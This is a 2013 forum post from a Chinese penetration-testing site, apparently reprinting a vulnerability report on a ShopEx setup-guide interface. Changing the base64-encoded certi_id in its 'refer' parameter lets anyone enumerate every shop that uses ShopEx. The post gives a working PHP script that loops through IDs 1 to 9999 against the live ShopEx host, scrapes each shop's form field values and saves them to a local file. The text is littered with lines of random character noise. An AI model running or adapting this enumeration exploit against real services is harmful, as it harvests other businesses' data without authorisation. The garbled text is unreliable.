中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
, g! ~* a9 \4 I! R5 ^: K7 {
ShopEx某接口缺陷,可遍历所有网站
5 O$ z9 K$ ^0 i. X1 e& g
详细说明:
. a- U% c+ _: v$ m! S0 i( l
问题出现在shopex 网店使用向导页面
/ e' [0 `8 x- N. u% j% V
2 }5 O( \/ j' M
1 L9 U( |0 L* u8 s
^$ b% O) K8 X) p
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
- Q7 n" ~# Z) }. y# ^4 J
$ d' q4 h1 e! R) p& y
0 t7 j0 J" I' ]2 N. A- w
, V8 P `/ U3 j
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
0 i6 j/ v5 c0 w4 s* U3 _: b
$ V( E, S0 P) o; m
5 A% v7 N* o& v+ {( L* u
7 A/ L1 ?) j3 K! F L! H' ~- A
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
) U- ~; u+ c: U
; C9 x; I2 X/ w6 K
4 O* |# p$ |4 n. p/ z
+ ^6 p/ X' p6 d5 ?: P% ^
<?php
( a" ?. y& A G/ U* Y
8 E9 u- K+ J6 T6 E- k- v
for ($i=1; $i < 10000; $i++) { //遍历
& i7 J, E; {( W: V! O, r, Y
' O+ T: \* V, R2 ^5 |: M. u! w
ShowshopExD($i);
; F5 a9 y* i- j8 f/ U+ n6 i
! g; s7 A* J: X
}
0 ]2 g. | }8 n8 J, I v) _3 _/ j* {4 v
7 `# @: z2 w9 U6 {! Z
function ShowshopExD($cid) {
" ]. }4 L1 T3 c. d) F9 T" A
( T0 O' u @# O& ~
$url='http://guide.ecos.shopex.cn/step2.php';
5 [: |6 P1 b/ {4 _# i
( a- x# s& y6 W4 P9 s* g
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
' ]7 F9 l0 T4 s" I }
) ^6 G) T* n( W/ [
$url = $url.'?refer='.$refer;
+ B5 H' o( ?/ ]* I
2 C3 j1 V" h6 [6 J. i3 B) R" _
$ch = curl_init($url);
/ E" R6 r& u, Z0 R9 M* b7 u5 x/ S
3 v3 l7 M; p4 a( e) Z, @( ^
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! ?# U" o, k7 ^: Q
0 i% Y( B% h( w0 C0 U! s
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
. w( v: j# m: F7 w# O" `+ Z, u. C
" Q! Y1 ?9 Y+ k+ [/ _: X
$result = curl_exec($ch);
! W! ~" _ f" Q6 J Z% v
1 V% n: e0 [3 M! O
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
. ~0 q3 G5 K2 S, P E
+ H5 f0 K+ `' k0 I( i
if(strpos($result,$refer))
8 }3 d {! m; [) ^( ~' `: ^
) Q$ U% Q9 x1 D x9 u" n& \6 h: Y
{
' P7 q2 Q' U* P7 q
/ b1 Q$ E% K* }! }, }0 m: z W8 {
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
9 T; k J1 M; [0 I, t6 b/ z
; l, d* ~, S4 R. z* d+ {: y
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
3 }+ u; e" }" \/ J m
9 q6 X$ g! X& t1 O# F
foreach ($value[1] as $key) {
6 `7 X& N* b- A* O) _5 b( o& Y* O" y/ j
- f- Z% ~2 w4 M/ J8 @: o
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
/ v/ {+ F7 T0 S: }
0 Q( P3 P. i2 F: p; n
echo $res[1][0].':'.$res[3][0]."\r\n";
* j! d# t9 e! c: ^ u
: c& b( G! K- }, }/ q
$col =$res[1][0].':'.$res[3][0]."\r\n";
# y7 F# M% q6 {2 V" N7 |8 P
% i7 i% O- {7 }3 Y! I8 I$ T7 B, x
fwrite($fp, $col, strlen($col));
9 g' ]% u/ k+ f! e
. [! l5 I% }& F# m
}
& c$ J3 N; Q6 y0 I/ u7 ^
; T4 j. R4 |2 | \
echo '--------------------------------'."\r\n";
" l' S+ d( L5 N B, T) H
, v x% {! L. b3 u
fclose($fp);
6 S7 J( R g: D: v/ F a f
( W+ C7 s: r# a. J3 s0 F, C3 C
}
; c4 }- B% ]4 |
5 @7 u" c* p* Q) i
flush();
" L$ y* t, ^7 g7 l! F
) N* w& I6 _: z1 M+ Z D- U
curl_close($ch);
5 }6 j3 s/ S# A1 b. ?8 }% @
+ ^2 [) F4 Z% S @
}
/ r: o4 `- z2 I1 S7 E5 [/ ^
5 ?4 y& V, r$ R. u6 d
?>
) o+ ], Y' v6 [7 X D
漏洞证明:
1 D8 o$ c5 b6 G4 K2 @! u9 [
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
+ r5 l0 m" f6 a% X5 ^
refer换成其他加密方式
, U2 ^1 x/ K3 S. L4 J1 q
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2